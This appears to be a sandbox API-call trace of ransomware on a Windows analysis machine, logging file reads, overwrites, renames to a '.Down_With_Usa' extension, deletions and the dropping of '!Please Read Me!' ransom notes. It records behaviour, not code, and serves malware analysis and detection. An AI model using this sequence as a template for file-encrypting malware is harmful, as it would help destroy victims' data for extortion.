[0117.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4c
[0117.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0117.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0117.121] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x4bd
[0117.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x27bc3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27bc3d8*, lpNumberOfBytesRead=0x2eb8d8*=0x4bd, lpOverlapped=0x0) returned 1
[0117.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4c
[0117.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0117.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0117.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4c
[0117.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0117.163] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211b2760, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x211b2760, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x224e38c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1
[0117.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0117.163] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs.down_with_usa")) returned 1
[0117.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0117.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0117.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH", lpFilePart=0x0) returned 0x37
[0117.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.165] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0117.165] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2118c600, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2118c600, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22497600, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt.Down_With_Usa", cAlternateFileName="!PLEAS~1.DOW")) returned 0x1ac18610
[0117.169] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebb50 | out: lpFindFileData=0x2ebb50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.169] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0117.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0117.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.174] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0117.174] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt.down_with_usa")) returned 1
[0117.177] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4c
[0117.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0117.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0117.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4c
[0117.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0117.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HiTPqgyxdhZUlpDcH\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hitpqgyxdhzulpdch\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0117.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0117.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0117.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", lpFilePart=0x0) returned 0x32
[0117.181] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.182] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.182] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.182] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21675360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.182] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf3c30, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0xefe524f0, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0x211fea20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLBVM9lJqMC7h.pptx.Down_With_Usa", cAlternateFileName="KLBVM9~1.DOW")) returned 1
[0117.183] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p_nER27OkTqJ", cAlternateFileName="P_NER2~1")) returned 1
[0117.183] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869b4b0, ftCreationTime.dwHighDateTime=0x1d5e59c, ftLastAccessTime.dwLowDateTime=0x50386e00, ftLastAccessTime.dwHighDateTime=0x1d5e51f, ftLastWriteTime.dwLowDateTime=0x21296fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x140d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yJgzLJgypNdYc-.wav.Down_With_Usa", cAlternateFileName="YJGZLJ~1.DOW")) returned 1
[0117.183] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x213093c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6870, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp.Down_With_Usa", cAlternateFileName="Z1JCY2~1.DOW")) returned 1
[0117.184] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.184] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0117.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0117.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0117.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0117.184] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\", lpFilePart=0x0) returned 0x32
[0117.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.185] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.185] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.185] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21675360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x21675360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.185] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf3c30, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0xefe524f0, ftLastAccessTime.dwHighDateTime=0x1d5dbd0, ftLastWriteTime.dwLowDateTime=0x211fea20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLBVM9lJqMC7h.pptx.Down_With_Usa", cAlternateFileName="KLBVM9~1.DOW")) returned 1
[0117.186] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="p_nER27OkTqJ", cAlternateFileName="P_NER2~1")) returned 1
[0117.186] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869b4b0, ftCreationTime.dwHighDateTime=0x1d5e59c, ftLastAccessTime.dwLowDateTime=0x50386e00, ftLastAccessTime.dwHighDateTime=0x1d5e51f, ftLastWriteTime.dwLowDateTime=0x21296fa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x140d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yJgzLJgypNdYc-.wav.Down_With_Usa", cAlternateFileName="YJGZLJ~1.DOW")) returned 1
[0117.186] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x213093c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6870, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp.Down_With_Usa", cAlternateFileName="Z1JCY2~1.DOW")) returned 1
[0117.186] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x237d7fe0, ftCreationTime.dwHighDateTime=0x1d5e4f7, ftLastAccessTime.dwLowDateTime=0x49fc79f0, ftLastAccessTime.dwHighDateTime=0x1d5d903, ftLastWriteTime.dwLowDateTime=0x213093c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6870, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1JCY2.bmp.Down_With_Usa", cAlternateFileName="Z1JCY2~1.DOW")) returned 0
[0117.187] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0117.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0117.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0117.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0117.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0117.187] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x623
[0117.187] ReadFile (in: hFile=0x3a8, lpBuffer=0x26bb580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26bb580*, lpNumberOfBytesRead=0x2eb8d8*=0x623, lpOverlapped=0x0) returned 1
[0117.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0117.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0117.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0117.226] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
